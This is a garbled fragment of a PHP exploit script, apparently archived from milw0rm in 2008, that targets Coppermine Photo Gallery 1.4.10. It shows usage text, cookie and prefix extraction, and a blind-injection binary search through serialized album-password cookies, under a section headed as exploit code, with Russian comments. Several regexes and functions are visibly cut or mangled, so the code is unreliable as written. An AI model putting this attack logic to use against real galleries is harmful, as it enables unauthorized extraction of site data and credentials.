[table prefix]\n";
        print "                                  - hostname\n";
        print "                                   - web dirname \n";
        print "                                 - force mode - '0' - for Off or \"album number\" for force mode On \n";

        print " example: " . $argv[0] . " coppermine.site photo/ ";
        credits();
}
###############################################
/* FUNCTIONS */
##############################################

if (!function_exists(str_split)){ ### for PHP4 "8", $str=>"1");
        $c_str = $GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBALS['cookies'];
        return $c_str;
        }

function getAlbum($text){
        if (preg_match("/(?)/", $text, $match)) {
                return intval($match[0]);
        }
         else return 0;

}

function getCookie($text){
        if (preg_match_all("/(?>> vulnerable: CPG 1.4.10 stable  ". $compare;
 if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) {
    return blind($param, $sn, $compare, $fmax);
    }
 else {
    return blind($param, $sn, $fmin, $compare+1);
        }
}

function crack($param, $cmin, $cmax, $sn)
{
 for ($i=$cmin; $i  32) return;
        }
}

##################################################  #############
## START     E X P L O I T    C O D E
##################################################  ###########
echo '
Exploiting:
[+] target: '. $argv[1].'/'.$argv[2].'
';
        $page = 'thumbnails.php';
        $firstReply = sendit($page, 'GET');                                     //ВЫЗОВ ЗАПРОСA

        $album = $argv[3];
        $page = 'thumbnails.php?album='.$album;                                 // ПОЛОЖИЛИ НОМЕР АЛЬБОМА
        $GLOBALS['album'] = $album;
        echo "[+] Valid album number: ".$album . "\n";
        $GLOBALS['cookies'] = getCookie($firstReply);                                         ### get cookie from host
        $prefix = getPrefix($GLOBALS['cookies']);                                                 ### get cookie prefix
        echo "[+] Cookie prefix: " . $prefix . "\n";
        $GLOBALS['prefix']=$prefix;

        $etalon = toPage(sendit ($page, 'GET', $c_cookies));                        // ЗАПРОС ДЛЯ НАХОЖДЕНИЯ КО-ЛВО КАРТИНОК НА СТРАНИЦЕ ПО ФАКТУ ТЕГОВ 

# milw0rm.com [2008-01-22]